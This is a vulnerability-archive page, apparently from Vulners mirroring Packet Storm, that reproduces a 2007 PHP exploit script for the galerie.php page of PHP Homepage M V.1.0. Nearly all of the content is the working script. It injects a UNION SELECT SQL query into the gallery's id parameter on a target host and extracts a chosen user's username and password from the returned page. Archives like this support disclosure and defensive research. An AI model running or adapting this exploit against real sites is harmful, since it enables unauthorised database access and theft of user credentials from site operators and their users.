Lucene search

K

phphome-sql.txt

🗓️ 08 Oct 2007 00:00:00Reported by [PHCN] MahjongType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 12 Views

PHP Homepage M V.1.0 galerie.php exploit with magic_quotes_gpc OF

Show more

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`<?php  
if ($argv[1] == '')  
{  
echo "--PHP Homepage M V.1.0 galerie.php Exploit----\n";  
echo "only with magic_quotes_gpc OFF\n";  
echo "by [PHCN] Mahjong\n";  
echo "Usage : phpHPmv1.php http://127.0.0.1 / 1\n";  
echo '----------------------------------------------';  
}  
else  
{  
$host = $argv[1];  
$path = $argv[2];  
$userid = $argv[3];  
  
$data = $host.$path."galerie.php?act=show&id=99999'+UNION+SELECT+username,passwort,passwort,passwort+FROM+user+WHERE+U ID='$userid";  
$data = file_get_contents($data);  
$pw = substr($data,strpos($data,'<img border="0" src=\'bilder/')+28,30);  
$pw = explode('.',$pw);  
$pw = $pw[0];  
$user = substr($data,strpos($data,'UID=\''.$userid.'\'<h1 align="center">',30));  
$user = explode('>',$user);  
$user = strrev($user[1]);  
$user = substr($user,4,100);  
$user = strrev($user);  
  
echo "--EXPLOIT FINISHED--\n";  
echo "userid : $userid\n";  
echo "username: $user\n";  
echo "password: $pw\n";  
echo '--------------------';  
}  
  
  
?>  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
08 Oct 2007 00:00Current
7.4High risk
Vulners AI Score7.4
12
.json
Report